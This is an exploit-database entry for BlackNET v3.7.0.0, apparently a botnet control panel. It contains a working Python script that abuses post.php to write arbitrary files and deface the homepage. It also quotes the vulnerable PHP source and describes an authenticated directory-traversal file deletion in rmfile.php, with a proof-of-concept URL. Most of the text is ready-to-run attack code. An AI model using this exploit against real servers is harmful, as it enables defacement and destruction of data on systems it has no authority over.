Share
## https://sploitus.com/exploit?id=1337DAY-ID-39754
# Exploit Title: BlackNET - Multiple Vulnerabilities
# Exploit Author: bRpsd
# Date: 20/09/2024
# Vendor Homepage: https://github.com/AndroVirus
# Software Link: https://github.com/AndroVirus/BlackNET/
# Version: v3.7.0.0
# Tested on: MacOS - Xampp
# CVE: NA
import requests

# Define the target URL for the POST request
post_url = "http://localhost/x/BlackNET/BlackNET%20Panel/post.php"

# Defaces the homepage
payload = "Nothing to see here."
data = {
    'folder_name': 'www',  # this can create any folder on the server
    'file_name': 'index.html',  # Name of the file to be created
    'data': payload  # The payload being tested
}

# Send the POST request
response = requests.post(post_url, data=data)

# Check the response
if response.status_code == 200:
    print("Request successful. Check if 'file' was created.")
else:
    print(f"Request failed with status code: {response.status_code}")
    
# Vulnerable code: /BlackNET/BlackNET%20Panel/post.php
# header('Content-type: text/html; charset=utf-8');
#
# require_once 'config/config.php';
# require_once APP_PATH . 'classes/POST.php';
#
# if ($_SERVER['REQUEST_METHOD'] == "POST") {
#  $POST = new BlackNET\POST();
# $folder_name = isset($_POST['folder_name']) && $_POST['folder_name'] != "" ? $_POST['folder_name'] : 'www';
#    $file_name = isset($_POST['file_name']) ? $_POST['file_name'] : "unknown.txt";
#
#   $data = $POST->sanitize($_POST['data']);
#
#  $POST->prepare($folder_name, $file_name, $data);
#
# $POST->write();   
#
###########################################################################################
# Arbitrary File Deletion & Directory Traversal [Authenticated]
# File: rmfile.php
# Parameter: fname
# Vul Code:
#<?php
# require_once 'session.php';

#$msg = "";
#$id = "";
#if ($_SERVER['REQUEST_METHOD'] == "POST") {
#    $files = $_POST['file'];
#    $vicid = $utils->sanitize($_POST['vicid']);
#    if ($auth->checkToken($_POST['csrf'], $_SESSION['csrf'])) {
#        foreach ($files as $file) {
#if (strpos($file, "../")) {
#                $id = $vicid;
#                $msg = "error";
#            }
#            $filename = $utils->sanitize($file);
#            $real_path = realpath("upload" . "/" . $vicid . "/" . $filename);
#            if (file_exists($real_path)) {
#                unlink($real_path);
#
#
# Proof Of Concept:
# http://localhost/x/BlackNET/BlackNET%20Panel/rmfile.php?fname=../favico.png&vicid=&csrf=95a6ae14d491e482b4370da1fd74f69891058f12472e6510e373889d99d84c3c